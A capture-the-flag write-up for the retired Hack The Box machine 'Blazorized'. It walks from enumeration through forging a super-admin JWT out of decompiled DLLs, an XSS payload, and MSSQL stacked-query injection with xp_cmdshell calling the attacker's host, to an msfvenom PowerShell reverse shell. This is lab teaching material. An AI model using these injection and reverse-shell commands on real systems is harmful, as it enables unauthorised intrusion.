HTB Write-up | Blazorized (user-only)

Retired machine can be found here.


Enumeration

~ nmap -F 10.10.11.22 -Pn

PORT     STATE SERVICE
53/tcp   open  domain
80/tcp   open  http
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
1433/tcp open  ms-sql-s

Port 80 redirects to http://blazorized.htb/, which means this virtual host needs to be mapped in order for us to be able to access the web application.

~ sudo nano /etc/hosts

[...]
10.10.11.22 blazorized.htb

The website is built using Blazor WebAssembly:

Blazor is a feature of ASP.NET for building interactive web UIs using C# instead of JavaScript. It's real .NET running in the browser on WebAssembly.

It looks like we can temporarily "impersonate" the super admin user:

This button performs GET requests to http://api.blazorized.htb/posts and http://api.blazorized.htb/categories with an authorization header that contains a bearer token:

authorization: Bearer eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9lbWFpbGFkZHJlc3MiOiJzdXBlcmFkbWluQGJsYXpvcml6ZWQuaHRiIiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy9yb2xlIjpbIlBvc3RzX0dldF9BbGwiLCJDYXRlZ29yaWVzX0dldF9BbGwiXSwiZXhwIjoxNzIyODU2MzAyLCJpc3MiOiJodHRwOi8vYXBpLmJsYXpvcml6ZWQuaHRiIiwiYXVkIjoiaHR0cDovL2FwaS5ibGF6b3JpemVkLmh0YiJ9.J4bJYYN3EkV-PfFWJ90yAyOFS158LOanNLTduowSPHdYv28W7GQ59zeadaRaCZsyM_cfDH5r_tGXD0Mf43AUwA

At this point, I'm not sure how this token is being generated because it doesn't seem to be retrieved from the API, and it's not hardcoded in any of the resource files, so there's probably some Blazor magic under the hood.

We can use jwt-hack to decode it:

~ jwt-hack decode <the-token>

INFO[0000] Decoded data(claims)

header="{\"alg\":\"HS512\",\"typ\":\"JWT\"}" 
method="&{HS512 SHA-512}"

INFO[0000] Expiraton Time
EXP=1722856302 TIME="1970-01-01 01:00:01.722856302 +0100 CET"

{
    "aud":"http://api.blazorized.htb",
    "exp":1722856302,
    "http://schemas.microsoft.com/ws/2008/06/identity/claims/role":[
       "Posts_Get_All",
       "Categories_Get_All"
    ],
    "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress":"superadmin@blazorized.htb",
    "iss":"http://api.blazorized.htb"
}

We can see that this token was generated for a user with the superadmin@blazorized.htb email, and has the following "claims": Posts_Get_All and Categories_Get_All.

We can also see from the API responses that the posts' content is formatted in Markdown:

{
   "Posts":[
      {
         "ID":"1c391f9c-fd3e-4d86-b966-9a3e5d7e3d28",
         "Title":"Active Directory",
         "MarkdownContent":"Below are links to projects and posts relating AD red-teaming:\r\n\r\n- https://github.com/Group3r/Group3r\r\n- https://github.com/Leo4j/Amnesiac\r\n- https://github.com/JPG0mez/ADCSync\r\n- https://github.com/Processus-Thief/HEKATOMB\r\n- https://github.com/Mazars-Tech/AD_Miner\r\n- https://github.com/AlmondOffSec/PassTheCert\r\n- https://github.com/synacktiv/ntdissector\r\n- https://github.com/Hackndo/pyGPOAbuse\r\n- https://exploit.ph/external-trusts-are-evil.html\r\n- https://github.com/SecuraBV/Timeroast\r\n- https://github.com/SadProcessor/CypherDog\r\n- https://mayfly277.github.io/","CategoryID":"9a445790-f7e8-4351-8cf4-46fcae383eec"},
...
}

This means that the front-end is somehow processing and displaying this Markdown, which may result in stored XSS if we're able to create or manipulate posts or categories:

This suspicion is further confirmed because the Markdown "playground" is vulnerable to DOM-based XSS:

<img src=x onerror=alert(1) /> 

However, only the GET method seems to be allowed for /posts and /categories:

When we try to request a non-existent post ID, we see that all of the application's DLLs and other source files are available under the _framework directory:

http://blazorized.htb/post/1

http://blazorized.htb/_framework/blazor.boot.json
http://blazorized.htb/_framework/Blazored.LocalStorage.dll
http://blazorized.htb/_framework/Blazorized.DigitalGarden.dll
http://blazorized.htb/_framework/Blazorized.Shared.dll
...

Let's download all of these files to a local dir ...

~ wget -i requests.txt

... so we can use the ilspy-vscode extension to decompile the relevant source code.

It looks like the Blazorized.Helpers namespace has a JWT class that contains the logic for the temporary token generation, as well as a new interesting subdomain:

Note that this application is built with Blazor Server, instead of Blazor WebAssembly:

With the Blazor Server hosting model, components are executed on the server from within an ASP.NET Core app. UI updates, event handling, and JavaScript calls are handled over a SignalR connection using the WebSockets protocol. [...]

It's unlikely, but possible, that the JWT we have is a valid form of authorization for this subdomain.

We can see that there are 2 different "audiences" in the source code: apiAudience and adminDashboardAudience.

We can guess that the temporary token we've previously come across is generated using the following function:

public static string GenerateTemporaryJWT(long expirationDurationInSeconds = 60L)
{
    try
    {
        List<Claim> claims = new List<Claim>
        {
            new Claim("http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress", superAdminEmailClaimValue),
            new Claim("http://schemas.microsoft.com/ws/2008/06/identity/claims/role", postsPermissionsClaimValue),
            new Claim("http://schemas.microsoft.com/ws/2008/06/identity/claims/role", categoriesPermissionsClaimValue)
        };
        SigningCredentials signingCredentials = GetSigningCredentials();
        DateTime? expires = DateTime.UtcNow.AddSeconds(expirationDurationInSeconds);
        JwtSecurityToken token = new JwtSecurityToken(issuer, apiAudience, claims, null, expires, signingCredentials);
        return new JwtSecurityTokenHandler().WriteToken(token);
    }
    catch (Exception)
    {
        throw;
    }
}

But there is another function, which generates a token for the same email address but for the adminDashboardAudience, and with the superAdminRoleClaimValue claim:

using System;
using System.Collections.Generic;
using System.IdentityModel.Tokens.Jwt;
using System.Security.Claims;
using Microsoft.IdentityModel.Tokens;

public static string GenerateSuperAdminJWT(long expirationDurationInSeconds = 60L)
{
    try
    {
        List<Claim> claims = new List<Claim>
        {
            new Claim("http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress", superAdminEmailClaimValue),
            new Claim("http://schemas.microsoft.com/ws/2008/06/identity/claims/role", superAdminRoleClaimValue)
        };
        SigningCredentials signingCredentials = GetSigningCredentials();
        DateTime? expires = DateTime.UtcNow.AddSeconds(expirationDurationInSeconds);
        JwtSecurityToken token = new JwtSecurityToken(issuer, adminDashboardAudience, claims, null, expires, signingCredentials);
        return new JwtSecurityTokenHandler().WriteToken(token);
    }
    catch (Exception)
    {
        throw;
    }
}

Let's create a new .NET project, import the relevant DLLs, and try to generate a valid token (we increased the expiration to 600000 seconds, to make testing easier):

using Blazorized.Helpers;

namespace BlazorJWTMock
{
    class Program
    {
        static void Main(string[] args)
        {
            Console.WriteLine("Generating super admin token ...");
            Console.WriteLine(JWT.GenerateSuperAdminJWT(600000));
            Console.WriteLine("Done!");
        }
    }
}
BlazorJWTMock/Program.cs
<Project Sdk="Microsoft.NET.Sdk">
  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net7.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>
  <ItemGroup>
    <Reference Include="<PATH-TO-LIBS>/Blazored.LocalStorage.dll" />
    <Reference Include="<PATH-TO-LIBS>/Blazorized.DigitalGarden.dll" />
    <Reference Include="<PATH-TO-LIBS>/Blazorized.Helpers.dll" />
    <Reference Include="<PATH-TO-LIBS>/Microsoft.IdentityModel.Tokens.dll" />
    <Reference Include="<PATH-TO-LIBS>/Microsoft.IdentityModel.JsonWebTokens.dll" />
    <Reference Include="<PATH-TO-LIBS>/System.IdentityModel.Tokens.Jwt.dll" />
  </ItemGroup>
</Project>
BlazorJWTMock/BlazorJWTMock.csproj
~ dotnet run --project BlazorJwtMock/BlazorJwtMock.csproj

Generating admin token ...

eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9lbWFpbGFkZHJlc3MiOiJzdXBlcmFkbWluQGJsYXpvcml6ZWQuaHRiIiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy9yb2xlIjoiU3VwZXJfQWRtaW4iLCJleHAiOjE3MjI4NzgyNzUsImlzcyI6Imh0dHA6Ly9hcGkuYmxhem9yaXplZC5odGIiLCJhdWQiOiJodHRwOi8vYWRtaW4uYmxhem9yaXplZC5odGIifQ.XUlzWUdD04FGiWCOP_SbsULNGCDVNRmvmSlAAEi2SCJNmUNf9irKVmtvyReIl0tqN8WwcvkrqWxAOO3RMXZONw

Done!

Ok, we have a token, but we're not sure how to use it to authenticate in the admin subdomain.

Even after reversing every DLL that looked relevant, I couldn't find the logic that was responsible for getting or setting this token, so I decided to fuzz this parameter, as recommended in the forum:

The solution was to add this JWT to the jwt LocalStorage value:


From Admin to Foothold

We have an obvious clue from the /home page:

To avoid latency issues, this super admin panel does not consume the API but speaks to the database directly.

We can see that the "Check Duplicate" features are vulnerable to SQLi, and we know from the initial nmap scan that we're dealing with a MSSQL database, so let's try to get a request from the victim machine using a stacked query and the EXEC master.dbo.xp_cmdshell command, e.g.:

';EXEC master.dbo.xp_cmdshell 'curl http://10.10.14.91:8000';--
~ python3 -m http.server 8000
::ffff:10.10.11.22 - - [06/Aug/2024 11:58:11] "GET / HTTP/1.1" 200 -

Alright, let's try to trigger a reverse shell:

~ msfvenom -p cmd/windows/reverse_powershell LHOST={local_ip} LPORT={local_port} > revshell.txt

# after cleaning up the revshell.txt file and removing "powershell -w hidden -nop -c"

~ iconv -f ASCII -t UTF-16LE revshell.txt | base64 | tr -d '\n'
JABhAD0AJwAxADAALgAxADAALgAxADQALgA5ADEAJwA7ACQAYgA9ADQANAA0ADQAOwAkAGMAPQBOA...

~ powershell.exe -EncodedCommand JABhAD0AJwAxADAALgAxADAALgAxADQALgA5ADEAJwA7ACQAYgA9ADQANAA0ADQAOwAkAGMAPQBOA...

and we get a shell!

~ nc -l 4444
Microsoft Windows [Version 10.0.17763.5936]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
blazorized\nu_1055

C:\Windows\system32> cd Users
C:\Users> dir
02/25/2024  03:41 PM    <DIR>          NU_1055
...

C:\Users>type C:\Users\NU_1055\Desktop\user.txt

We didn't even have to pivot to get the user flag! :)